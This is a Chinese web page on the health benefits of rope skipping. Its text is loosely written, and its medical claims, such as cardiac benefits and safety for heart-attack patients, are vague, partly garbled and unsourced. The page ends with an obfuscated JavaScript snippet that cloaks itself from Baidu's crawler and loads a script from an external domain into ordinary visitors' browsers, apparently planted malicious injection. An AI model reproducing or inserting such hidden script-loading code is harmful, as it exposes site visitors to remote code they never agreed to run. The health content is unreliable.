当前位置:首页 > 健康 > 运动健身 > 正文

跳绳的功效有哪些

2017-04-17 13:04:41  来源:360常识网   热度:
导语:跳绳是一项非常简单的活动,非常简单,就算是不会跳绳一会儿也能够学会,重要的是跳绳并不受地域的限制,这个就表示着很多人都能够跳绳了,

跳绳是一项非常简单的活动,非常简单,就算是不会跳绳一会儿也能够学会,重要的是跳绳并不受地域的限制,这个就表示着很多人都能够跳绳了,再加上跳绳确实效果很好,不管是减肥还是锻炼身体都很好。首先跳绳能够帮助增强免疫力,,及时也就是经常锻炼的效果,不那么容易生病。还有跳绳能够帮助结实肌肉,是的肌肉有着拉伸。

医师指出,有德国专家做过统计,跳绳的确能够有效减少心血管疾病发作再次住院的次数,减少心脏支架的几率,还能够缓解冠心病的恶化。

这是因为跳绳能够有效促进心、肝、肺、脾、胃、肾等内脏器官的血液流通,加快新陈代谢,从而提高脏器的机能。专家强调,患有心肌梗塞的病人,也可以跳绳,但要控制好频率,不要太快。

跳绳还能有效地促进骨细胞代谢,防止骨质疏松。人体骨骼中的钙含量,就好像一座银行一样,只有趁年轻不断地存入,到老了的时候才不至于骨质疏松、严重缺钙。而跳绳就有增加骨强度的作用。

还有跳绳能够帮助培养手还有脑的协调性,还有能够帮助帮助增加心肺的能力,对于心肺的耐受力有什么很大的帮助。当然,还有很多人喜欢的一个作用,就是减肥,跳绳碎玉瘦身效果是很好的,还能够帮助锻炼身体下肢的力量。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}